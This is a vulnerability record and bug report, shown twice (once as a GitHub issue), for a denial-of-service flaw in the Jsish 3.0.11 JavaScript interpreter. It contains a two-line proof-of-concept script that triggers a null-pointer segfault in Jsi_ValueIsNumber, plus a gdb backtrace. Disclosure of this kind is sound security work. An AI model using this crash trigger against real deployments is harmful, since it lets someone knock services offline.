An issue found in Jsish v.3.0.11 allows a remote attacker to cause a denial of service via the Jsi_ValueIsNumber function in ./src/jsiValue.c file.
cpe:2.3:a:jsish:jsish:3.0.11:*:*:*:*:*:*:*
DC1BDF14-06F9-4F4F-86E9-CAC99C31A7BE
OR
DongzhuoZhao added on 2020-05-11 03:55:46:
git version:
4603977ef0ffdaf3d0f641ff6a361aa26e36974d

save follow testcase as .js format :

var v1 = new Array((()=>"toString")(), []);
v1.find(isFinite);

run:
./jsimin poc.js

Result:
zdz@ubuntu:~/jsish$ ./jsimin /home/zdz/debugBug/jsi/bug/poc.js
Segmentation fault (core dumped)

Backtrace:

Program received signal SIGSEGV, Segmentation fault.
0x0000555555591d03 in Jsi_ValueIsNumber (interp=0x555555865260, pv=0x0)
    at ./src/jsiValue.c:456
456	    return (pv->vt == JSI_VT_NUMBER || (pv->vt == JSI_VT_OBJECT && pv->d.obj->ot == JSI_OT_NUMBER));
(gdb) bt
#0  0x0000555555591d03 in Jsi_ValueIsNumber (interp=0x555555865260, pv=0x0)
    at ./src/jsiValue.c:456
#1  0x00005555555cfd3e in isFiniteCmd (interp=0x555555865260, 
    args=0x5555558c74f0, _this=0x5555558c7530, ret=0x7fffffff59e8, 
    funcPtr=0x55555588b110) at ./src/jsiCmds.c:1094
#2  0x000055555558f81a in jsi_FunctionInvoke (interp=0x555555865260, 
    tocall=0x5555558c6d40, args=0x5555558c74f0, ret=0x7fffffff59e8, 
    _this=0x5555558c73e0) at ./src/jsiFunc.c:799
#3  0x000055555558f9b8 in Jsi_FunctionInvoke (interp=0x555555865260, 
    func=0x5555558c6d40, args=0x5555558c74f0, ret=0x7fffffff59e8, 
    _this=0x5555558c73e0) at ./src/jsiFunc.c:823
#4  0x00005555555bc062 in jsi_ArrayFindSubCmd (interp=0x555555865260, 
    args=0x5555558c6f40, _this=0x5555558c7210, ret=0x7fffffff5ba0, 
    funcPtr=0x55555587e2c0, op=1) at ./src/jsiArray.c:584
#5  0x00005555555bc5dc in jsi_ArrayFindCmd (interp=0x555555865260, 
    args=0x5555558c6f40, _this=0x5555558c7210, ret=0x7fffffff5ba0, 
    funcPtr=0x55555587e2c0) at ./src/jsiArray.c:659
#6  0x0000555555616285 in jsi_FunctionSubCall (interp=0x555555865260, 
    args=0x5555558c6f40, _this=0x5555558c7210, ret=0x7fffffff5ba0, 
    tocall=0x5555558c1340, discard=1) at ./src/jsiEval.c:857
#7  0x0000555555616767 in jsiEvalFunction (ps=0x5555558c09d0, 
    ip=0x5555558c25b0, discard=1) at ./src/jsiEval.c:918
Illegal memory dereference in isFiniteCmd
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : Illegal memory dereference in isFiniteCmd
Issue date:

--- start body ---
DongzhuoZhao added on 2020-05-11 03:55:46:
git version:
4603977ef0ffdaf3d0f641ff6a361aa26e36974d

save follow testcase as .js format :

var v1 = new Array((()=>"toString")(), []);
v1.find(isFinite);

run:
./jsimin poc.js

Result:
zdz@ubuntu:~/jsish$ ./jsimin /home/zdz/debugBug/jsi/bug/poc.js
Segmentation fault (core dumped)

Backtrace:

Program received signal SIGSEGV, Segmentation fault.
0x0000555555591d03 in Jsi_ValueIsNumber (interp=0x555555865260, pv=0x0)
    at ./src/jsiValue.c:456
456	    return (pv->vt == JSI_VT_NUMBER || (pv->vt == JSI_VT_OBJECT && pv->d.obj->ot == JSI_OT_NUMBER));
(gdb) bt
#0  0x0000555555591d03 in Jsi_ValueIsNumber (interp=0x555555865260, pv=0x0)
    at ./src/jsiValue.c:456
#1  0x00005555555cfd3e in isFiniteCmd (interp=0x555555865260, 
    args=0x5555558c74f0, _this=0x5555558c7530, ret=0x7fffffff59e8, 
    funcPtr=0x55555588b110) at ./src/jsiCmds.c:1094
#2  0x000055555558f81a in jsi_FunctionInvoke (interp=0x555555865260, 
    tocall=0x5555558c6d40, args=0x5555558c74f0, ret=0x7fffffff59e8, 
    _this=0x5555558c73e0) at ./src/jsiFunc.c:799
#3  0x000055555558f9b8 in Jsi_FunctionInvoke (interp=0x555555865260, 
    func=0x5555558c6d40, args=0x5555558c74f0, ret=0x7fffffff59e8, 
    _this=0x5555558c73e0) at ./src/jsiFunc.c:823
#4  0x00005555555bc062 in jsi_ArrayFindSubCmd (interp=0x555555865260, 
    args=0x5555558c6f40, _this=0x5555558c7210, ret=0x7fffffff5ba0, 
    funcPtr=0x55555587e2c0, op=1) at ./src/jsiArray.c:584
#5  0x00005555555bc5dc in jsi_ArrayFindCmd (interp=0x555555865260, 
    args=0x5555558c6f40, _this=0x5555558c7210, ret=0x7fffffff5ba0, 
    funcPtr=0x55555587e2c0) at ./src/jsiArray.c:659
#6  0x0000555555616285 in jsi_FunctionSubCall (interp=0x555555865260, 
    args=0x5555558c6f40, _this=0x5555558c7210, ret=0x7fffffff5ba0, 
    tocall=0x5555558c1340, discard=1) at ./src/jsiEval.c:857
#7  0x0000555555616767 in jsiEvalFunction (ps=0x5555558c09d0, 
    ip=0x5555558c25b0, discard=1) at ./src/jsiEval.c:918
--- end body ---

comments :
--- start comments ---

--- end comments ---